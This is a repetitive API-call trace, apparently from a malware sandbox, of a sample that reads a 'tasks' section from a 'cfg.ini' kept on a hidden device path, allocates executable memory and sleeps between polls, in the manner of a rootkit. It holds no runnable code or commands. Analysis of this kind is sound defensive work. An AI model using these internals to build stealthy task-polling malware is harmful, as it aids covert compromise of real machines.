IdePortDispatch () returned 0x103 [0118.438] KeWaitForMutexObject () returned 0x0 [0118.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.438] KeLeaveCriticalRegion () [0118.438] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.438] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.438] KeEnterCriticalRegion () [0118.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.438] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd8000 [0118.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.438] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.438] IdePortDispatch () returned 0x103 [0118.438] KeWaitForMutexObject () returned 0x0 [0118.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.438] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.438] IdePortDispatch () returned 0x103 [0118.439] KeWaitForMutexObject () returned 0x0 [0118.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.439] KeLeaveCriticalRegion () [0118.439] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.439] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.439] KeEnterCriticalRegion () [0118.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.439] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.439] KeLeaveCriticalRegion () [0118.439] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.439] KeEnterCriticalRegion () [0118.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.439] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.439] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.439] KeLeaveCriticalRegion () [0118.439] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.439] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.439] KeEnterCriticalRegion () [0118.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.439] ExFreePoolWithTag (P=0xfffffa80039d7b50, Tag=0x0) [0118.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.439] KeLeaveCriticalRegion () [0118.439] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.439] ReleaseMutex (hMutex=0xf0) returned 1 [0118.440] Sleep (dwMilliseconds=0x927c0) [0118.454] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.454] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.454] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.454] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.454] KeEnterCriticalRegion () [0118.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.454] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.454] IdePortDispatch () returned 0x103 [0118.454] KeWaitForMutexObject () returned 0x0 [0118.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.454] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.454] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.454] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.454] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.454] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7a00 [0118.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.454] KeLeaveCriticalRegion () [0118.454] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.454] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.454] KeEnterCriticalRegion () [0118.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.454] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.455] KeLeaveCriticalRegion () [0118.455] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.455] KeEnterCriticalRegion () [0118.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.455] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.455] IdePortDispatch () returned 0x103 [0118.455] KeWaitForMutexObject () returned 0x0 [0118.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.455] KeLeaveCriticalRegion () [0118.455] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.455] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.455] KeEnterCriticalRegion () [0118.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.455] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdd000 [0118.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.455] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.455] IdePortDispatch () returned 0x103 [0118.455] KeWaitForMutexObject () returned 0x0 [0118.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.456] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.456] IdePortDispatch () returned 0x103 [0118.456] KeWaitForMutexObject () returned 0x0 [0118.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.456] KeLeaveCriticalRegion () [0118.456] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.456] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.456] KeEnterCriticalRegion () [0118.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.456] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.456] KeLeaveCriticalRegion () [0118.456] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.456] KeEnterCriticalRegion () [0118.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.456] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.456] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c5ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.456] KeLeaveCriticalRegion () [0118.456] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.456] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.457] KeEnterCriticalRegion () [0118.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.457] ExFreePoolWithTag (P=0xfffffa80039d7a00, Tag=0x0) [0118.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.457] KeLeaveCriticalRegion () [0118.457] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.457] ReleaseMutex (hMutex=0xf0) returned 1 [0118.457] Sleep (dwMilliseconds=0x927c0) [0118.471] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.471] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.471] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.471] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.471] KeEnterCriticalRegion () [0118.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.472] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.472] IdePortDispatch () returned 0x103 [0118.472] KeWaitForMutexObject () returned 0x0 [0118.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.472] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.472] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.472] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.472] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.472] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7b50 [0118.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.472] KeLeaveCriticalRegion () [0118.472] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.472] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.472] KeEnterCriticalRegion () [0118.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.472] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.472] KeLeaveCriticalRegion () [0118.472] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.472] KeEnterCriticalRegion () [0118.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.472] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.472] IdePortDispatch () returned 0x103 [0118.472] KeWaitForMutexObject () returned 0x0 [0118.473] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.473] KeLeaveCriticalRegion () [0118.473] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.473] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.473] KeEnterCriticalRegion () [0118.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.473] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce2000 [0118.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.473] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.473] IdePortDispatch () returned 0x103 [0118.473] KeWaitForMutexObject () returned 0x0 [0118.473] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.473] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.473] IdePortDispatch () returned 0x103 [0118.473] KeWaitForMutexObject () returned 0x0 [0118.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.473] KeLeaveCriticalRegion () [0118.473] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.474] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.474] KeEnterCriticalRegion () [0118.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.474] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.474] KeLeaveCriticalRegion () [0118.474] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.474] KeEnterCriticalRegion () [0118.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.474] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.474] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.474] KeLeaveCriticalRegion () [0118.474] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.474] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.474] KeEnterCriticalRegion () [0118.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.474] ExFreePoolWithTag (P=0xfffffa80039d7b50, Tag=0x0) [0118.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.474] KeLeaveCriticalRegion () [0118.474] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.474] ReleaseMutex (hMutex=0xf0) returned 1 [0118.474] Sleep (dwMilliseconds=0x927c0) [0118.488] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.488] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.488] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.488] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.488] KeEnterCriticalRegion () [0118.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.488] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.488] IdePortDispatch () returned 0x103 [0118.488] KeWaitForMutexObject () returned 0x0 [0118.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.488] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.488] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.488] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.488] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.488] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5e10 [0118.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.489] KeLeaveCriticalRegion () [0118.489] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.489] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.489] KeEnterCriticalRegion () [0118.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.489] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.489] KeLeaveCriticalRegion () [0118.489] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.489] KeEnterCriticalRegion () [0118.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.489] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.489] IdePortDispatch () returned 0x103 [0118.489] KeWaitForMutexObject () returned 0x0 [0118.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.489] KeLeaveCriticalRegion () [0118.489] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.489] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.489] KeEnterCriticalRegion () [0118.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce7000 [0118.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.489] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.489] IdePortDispatch () returned 0x103 [0118.490] KeWaitForMutexObject () returned 0x0 [0118.490] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.490] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.490] IdePortDispatch () returned 0x103 [0118.490] KeWaitForMutexObject () returned 0x0 [0118.490] 